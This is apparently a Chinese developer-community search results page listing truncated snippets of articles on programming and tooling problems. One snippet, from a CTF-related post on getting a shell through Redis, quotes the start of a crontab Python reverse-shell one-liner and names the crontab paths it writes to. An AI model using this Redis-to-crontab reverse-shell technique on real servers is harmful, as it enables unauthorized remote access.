首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Android遇到一些小问题

设置文本行间距 PopupWindow无法显示 绘制有色阴影 调整文字间距 问题 UE希望调整文本行间距,原来只记得有lineSpacing属性,而且只能调整行间距倍数。...而lineSpacingMultiplier属性则是为行间距设置倍数。...PopupWindow无法显示 问题 在使用PopupwindowshowAsDropDown时候,发现PopupWindow无法弹出,而且UI出现卡死情况 方案 原因是PopupWindow没有设置宽高...有色阴影 问题 在最近改版中,发现有很多按钮渐变,并且按钮出现了有色阴影,而如果使用Android自带translationZ以及elevation来调整Z轴高度和倾斜度可以实现简单黑色阴影...需要注意点: ViewGroup必须将setWillNotDraw(false),否则父View不会重绘 setShadowLayer只能应用于CPU绘制,必须关闭硬件加速,否则无法绘制 阴影颜色必须带透明度

1K20

关于通知一些小问题

最近做下载,有一个通知显示进度需求。这个过程中碰到一些问题,这里总结下,方便大家排查。 1.通知中下载完成后,进度条没有正确关闭掉。...我建议是 500ms-1000ms 之间。如果频率太快,系统会直接丢弃一些更新。你们可以自己把 demo 中线程睡眠代码去掉。观察一下现象。...如果你想要保证通知进度条正确关闭,一要保证关闭通知进度条代码是最后执行,尤其你是采用多线程操作的话。二是要与上一条更新有一定时间间隔。...关于小图标我建议你使用白色,这样如果你在高版本中让状态栏图标变为深色时候,系统也可以帮你把小图标变色。如果了用了其他颜色,可能就不能变色了,状态栏上图标颜色就不统一了。...4.通知内容位置不固定,更新 progress 时 多条通知位置会经常变动 这是通知按照更新时间来排序。如果你想要固定不动,可以给对应通知传入一个固定时间值。

77640
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    通过redis getshell一些小问题

    之前在出AT Field时候,在通过redis弹shell过程中遇到一些问题,今天专门测试一下,解决一些疑惑 这里我们不考虑如何写入redis中,只考虑从redis到服务器这个过程 使用两种反弹shell...方式,第一种是python弹 * * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET...error ubuntu系统 crontab方式 在debian系统下,首先我们得知道配置文件位置 1、/etc/crontab 2、/var/spool/cron/crontab/ 单个用户crontab...,直接弹shell也是失败,这里我们发现了一个问题,在redis中我们通过写入文件形式,会在文件开头和结尾写入部分格式头尾,这样crontab如果对格式要求严格,那么就不能成功执行crontab中命令...成功连入了,有效 centos 这里我首先使用了centos7下实体机来测试。

    57720

    python新手应注意一些小问题

    放在篇首,语言并不重要,重要是语言特性和隐藏在之后设计哲学! 最重要是看你公司喜欢哪个版本python。。。。对于你个人而言,python2与python3差别你可以忽略。。。。...一.注意pep8编程风格,请记住代码是写给人看。代码应该是整洁,让人容易找到思路。...一份漂亮,易读代码,无论是之后重构,还是维护都会让你后来者感到你专业性。 二、字符编码问题 这是很重要一点。...python2字符类型是str和unicode,str是原始八位值,unicode实例包含unicode字符。...备注:原始八位值就是一个字节,八个二进制位 python历史原因(因为它太老了,以至于unicode编码提出比他还晚),导致python2默认编码格式为ascii。

    1K20

    iOS开发遇到一些小问题记录

    即我们改变dataSource里数据刷新视图时候,tableview总高度是被改变,而这时自动计算出来,不像scrollview是需要手动指定。...这时如果系统计算预估值出现误差就会出现空白问题。 解决: 设置tableView自动预估值为0 tableView.estimatedRowHeight = 0 2....解决:将代码触发performsegue写在 viewDidAppear事件或更往后周期内。...IAP 重复回调问题 在测试iap支付时候,发现每次请求都会打印出两次一样消息,后检查出重复添加了SKPaymentQueue侦听 另外尽量不要分散在各个地方写侦听,因为不会报错 5....界面(UIViewController)中内容都是在主线程中运行、而很多其他功能 诸如支付队列等 是在后台线程中运行、主线程是UI阻塞,而后台线程是非阻塞,当非阻塞线程中某个函数在循环时候向某个

    80110

    【※ ※ ※】流量积算仪Modbus通信一些小问题

    由于测试仪表来自于不同厂家,不同时期产品(最早出厂时间为2004年),故虽其标识均为标准Modbus通信,但其中一些产品有其各自不同”特点”,在这里聊聊供大家鉴赏。...由于一些仪表无法找到可以沟通技术支持人员,有些特性不排除是单独测试设备问题或是老产品问题,故在下面的叙述中,我们均隐去仪表品牌,以免不必要纷争。...ModScan默认情况下一般是1秒钟发送一次数据请求,但是笔者测试PLC主站在默认状况下,只要从站设备有回复,在3½个字符时间后,就会进行下一次数据请求。会不会是这里问题呢?...想到这里,笔者在PLC主站轮询逻辑中增加了100ms延迟时间,即当主站收到从站正确响应后,等100ms之后再发送下一条请求。验证,问题得到解决。...在一些流量积算仪中,也提供了此种功能,已方便用户使用。 同时需要注意是,某些仪表浮点数未必是标准IEEE754格式,可能是其自定义数值格式,如下图。

    60230

    eclipse一些小问题解决方案

    tomcat插件已经安装上了。...它使得对象处理数据更容易被理解,而不需要与ADO.NET和XML编程模型打交道。这在大型系统里是很有用,特别是当设计者定义了由自定义类所组成数据访问层,并把设计向组织内其他程序员发布时候。...当然,现在自定义类使用有下降趋势:它们需要编更多代码,因为你必须创建.NET Framework所缺少对象关系映射层。 强/弱类型是指类型检查严格程度。语言有无类型,弱类型和强类型三种。...无类型不检查,甚至不区分指令和数据。弱类型检查很弱,仅能严格区分指令和数据。强类型则严格在编译期进行检查。 C# 是强类型语言;因此每个变量和对象都必须具有声明类型。...这允许您在输入代码时看到变量属性和其他成员。 2.它会运用编译器类型检查。这将捕捉到因溢出等错误而在运行时失败语句。这也可以在不支持方法对象上捕捉对方法调用。

    99490

    2022 年 Ubuntu 16.04 配置 pwn 环境一些小问题

    Ubuntu 16.04 已经不在官方支持时间范围内了,所以我日常环境选择了 Ubuntu 18.04 但是,很多书籍和教程中使用是 Ubuntu 16.04 , glibc 2.23 在 2022...年今天,配置一台 Ubuntu 16.04 pwn 环境还是有一些必要,我知道 Ubuntu 18.04或者更高版本可以修改 glibc 版本,以适应题目要求,但作为初学者来说,与教学环境保持一致是非常重要...,避免由于环境带来额外影响 ps: 如果你认真看了 《Linux 二进制分析》 这本书,并且将其中进程注入章节详细实验了一遍,你就知道我上面说的话是有道理 配置允许 root 以桌面环境登录 使用...为 root 配置 bash 环境 我们直接把当前用户 bash 环境复制到 root 根目录(/root/)就好 su root 切换到 root 用户(输入root密码) cp /home/...gdb Python 解释器 眼尖朋友可能已经看到了,我们明明已经把软链接改成我们升级后 python3.6.15 了,为什么执行 setup.sh 还是使用了 python 3.5.2 了呢?

    2K20

    职级晋升ppt中常见一些小问题和改进建议

    这是学习笔记第 2423篇文章    关于职级晋升ppt内容,自己也看过不少同学和行业内朋友,也提供了一些改进建议,自己这两天做了下总结,还是希望能够对大家也有一些帮助,当然提出问题容易,实际情况和我所说会有一些差别...,大家也不要对号入座,本质上是希望能够提供一些改进建议。...我改进建议分为基本规则、内容格式、内容形式和锦上添花四个类别。 一、遵守基本规则  1. 不使用统一ppt模板 除非自选模式效果很突出 2. ...选用图标可能会造成误导 三、内容形式  (一)图片类  1. 图片中要突出重点错误 2. 脑图维度太多 3. ...案例结论是一大段文字 四、锦上添花 1. ppt标注页码/总页码 2. 时间轴模式描述一个长周期建设工作 3. 坦诚沟通工作中不足和缺点 4. 工作成效通过清晰公式量化 5.

    1.4K40

    善用程序员长处,解决工作中一些小问题

    善用程序员长处,解决工作中一些小问题,最近财会部门报销规则改变,提交电子发票时需要将发票名字按照规则改写,规则如下: 发票代码-发票号码-发票金额-报销人姓名.pdf。...我们来看下发票: image.png 看图中用蓝框全选部分是需要提取信息,读取pdf文件,并提取信息,看着有点眼熟啊,我们在做软件开发时时常读取excel、word文件内容,pdf能不能读取呢...当然是可以,我为什么会想到用程序来解决呢?因为我积攒了好多发票,有话费、打车、地铁充值、京东购买电子产品等等,中国五六十张发票,这些发票我要是一张张修改文件名称,估计得疯掉。...文件,将内容按照换行切分数组, 2、根据输出规律找到数组中第一个数字,此处就是发票代码,紧挨着是发票号码,将二者摘出来。...4、将处理完文件拷贝到其它文件目录,删除原件。

    64550

    细数新版WebQQ几大不错前端设计和一些小问题

    虽然名字变了,但网址没变:http://webqq.qq.com/   因为我做过web版仿桌面程序,所以就新版webqq稍微点评一下,有不错地方,但也有一些小缺点,下面就一点一点开始说吧。...可能是考虑到平板用户操作,这也导致如果图标过多,一屏显示不下时候,会出现滚动条,这个操作是很人性化,因为一般仿桌面系统在图标数量超过一屏后,多出来图标都是在浏览器外面的,也就是无法显示。...三、任务栏   就上图来看吧,webqq把老版里开始按钮个去掉了,而把开始按钮里大部分操作集成到鼠标右键里了,如图:   另外,已运行任务现在存放位置在屏幕右下角,这样操作目的应该是考虑到大家都是右手操作鼠标...虽然这是一个特殊功能,但是我们可以考虑到,这类桌面系统,添加新图标是否可以参考下这种拖动添加模式,这样操作可能会更人性化一点,也更加像一个桌面系统。   ...PS:因为webqq一直是国内web桌面系统先驱者,做工上也是没说,所以我很希望webqq能越做越好,因为我能从他系统里学到很多好想法,希望大家也是。

    56410

    对CORS OPTIONS预检请求一些思考

    CORS是w3c和浏览器厂商为解决跨域资源共享问题而推出标准方案: 浏览机器一旦发现跨域请求,就会自动添加一些附加头信息,有时还会多出一次附加请求(浏览器自动完成,用户不会察觉),服务器响应特定标头..."预检请求使用,可以避免跨域请求对服务器用户数据产生未预期影响。...浏览器会自动处理,将请求中非简单header字段全部列出来,例如标识请求流水x-request-id,用于Auth鉴权Authorization 字段。...在缓存有效期内,该资源请求(URL和header字段都相同情况下)不会再触发预检。...以上便是对CORS OPTIONS预检请求一些思考,希望对同学们有所帮助!

    1.6K20
    领券